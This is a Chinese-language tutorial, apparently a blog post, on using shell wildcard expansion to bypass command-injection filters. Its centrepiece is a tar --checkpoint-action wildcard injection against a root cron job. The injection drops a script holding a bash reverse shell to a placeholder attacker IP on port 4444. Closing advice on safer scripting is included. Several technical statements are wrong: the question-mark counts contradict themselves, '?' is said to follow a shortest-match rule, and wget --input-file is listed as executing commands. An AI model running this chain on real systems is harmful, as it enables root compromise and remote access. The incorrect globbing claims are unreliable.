命令注入类题目和实战场景中,经常遇到过滤了空格、斜杠,或者干脆只允许输入文件名的情况。很多人第一反应是换编码、拼接变量,却忽略了一个更底层的机制:shell在执行命令前,会先对命令行里的通配符做文件名展开。这个展开过程本身就可以被利用,让一个看似普通的*变成完整命令的一部分。这篇文章就来系统讲讲通配符绕过的原理和利用方式。

通配符展开的基本原理
首先要理解一个关键点:通配符展开(globbing)是由shell完成的,而不是由被调用的命令完成。当你在终端输入ls -la *时,实际传递给ls程序的参数是当前目录下所有文件名组成的列表,星号在到达ls之前就已经被替换掉了。
利用这个特性,可以用问号和星号来拼出任意命令名。比如当前目录下存在一个名为flag的文件,那么/???/?at ??????????在shell展开后就等价于/bin/cat flag。其中/???/展开为/bin/,五个问号的?????正好匹配四个字母的文件名flag,最后整体变成了cat flag的执行效果。
# 假设当前目录下只有一个文件 flag /bin/cat flag # 正常写法 /???/?at ?????? # 通配符写法,?????? 展开后得到 flag # 验证哪些路径会被展开 echo /???/?at # 输出 /bin/cat /bin/mat 等
需要注意的是,通配符展开遵循最短匹配原则的问号和贪婪匹配的星号组合,如果目录下存在多个能匹配的文件,展开结果会把多个文件名都作为参数传进去,可能导致命令报错。因此在实际利用时,往往要结合目录内容仔细构造问号的数量,或者直接用连续的问号精确匹配目标文件名的长度。
构造反弹shell与参数注入
通配符不仅能在命令过滤场景下使用,还能配合工具的参数特性实现更复杂的操作。经典案例是利用wget或curl的参数注入。假设存在一个定时任务脚本,内容是用tar打包当前目录的所有文件:
# 管理员的定时任务,每分钟执行一次 * * * * * root cd /var/www/html && tar czf /tmp/backup.tar.gz *
攻击者如果能在该目录下写文件,就可以创建一些特殊命名的文件。tar命令对--checkpoint、--checkpoint-action参数的支持,使得目录中的文件名会被当作tar的参数解析:
# 在目标目录创建恶意文件 touch -- '--checkpoint=1' touch -- '--checkpoint-action=exec=sh shell.sh' echo 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1' > shell.sh # 定时任务执行 tar czf /tmp/backup.tar.gz * 时 # 通配符展开成上述文件名,被tar当作参数执行了shell.sh
这就是所谓的通配符注入。它成立的前提有两个:一是命令行中以通配符方式引用目录内容,二是目标命令存在可以执行外部命令的参数,tar的checkpoint-action、rsync的-e选项、wget的--input-file等都属于这一类。类似的,用php --allow-url-include -a这类思路也可以在文件名可控的场景下激活危险特性。
反弹shell的接收端配合也很简单,攻击机上用nc监听对应端口即可。整个利用链的关键在于文件创建权限,只要能往目标目录写入任意文件名的文件,就有机会把文件名变成命令参数。
常见利用场景与防护措施
通配符绕过的常见触发点包括:弱过滤的命令执行题、Linux文件自动包含漏洞配合?匹配文件名、cron任务中的tar备份、以及CI脚本里对目录执行rm、cp等操作。判断能否利用的核心是看最终命令里有没有裸露的通配符,以及当前用户能否控制该目录下的文件名。
防护方面,最直接的办法是在脚本中避免对通配符目录直接操作,改用find加-exec或显式遍历,并且为文件名加上--分隔符防止被解析为选项:
# 危险写法
tar czf backup.tar.gz *
# 安全写法:显式列出文件,或使用 -- 分隔
find . -type f -name '*.php' -exec tar rf backup.tar {} +
tar czf backup.tar.gz -- *.php
另外几个建议:定时任务脚本所在目录不要给普通用户写权限;上传功能的文件名要重命名为随机值,杜绝用户控制文件名的可能;对需要执行系统命令的代码,使用白名单校验而不是黑名单过滤;在沙箱类环境中,可以考虑用受限shell或容器隔离降低通配符注入的危害面。
最后总结一下,通配符绕过的本质是把文件名的展开结果变成命令或参数的一部分。理解了globbing发生在命令执行之前这一点,无论是做攻防练习还是加固自己的脚本,都能多一层判断依据。遇到命令被过滤的情况时,不妨先看看目录里有哪些文件可以匹配,说不定几个问号就能打开局面。